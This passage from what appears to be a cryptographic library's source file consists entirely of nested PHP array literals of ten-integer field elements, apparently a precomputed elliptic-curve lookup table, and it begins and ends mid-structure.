array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, 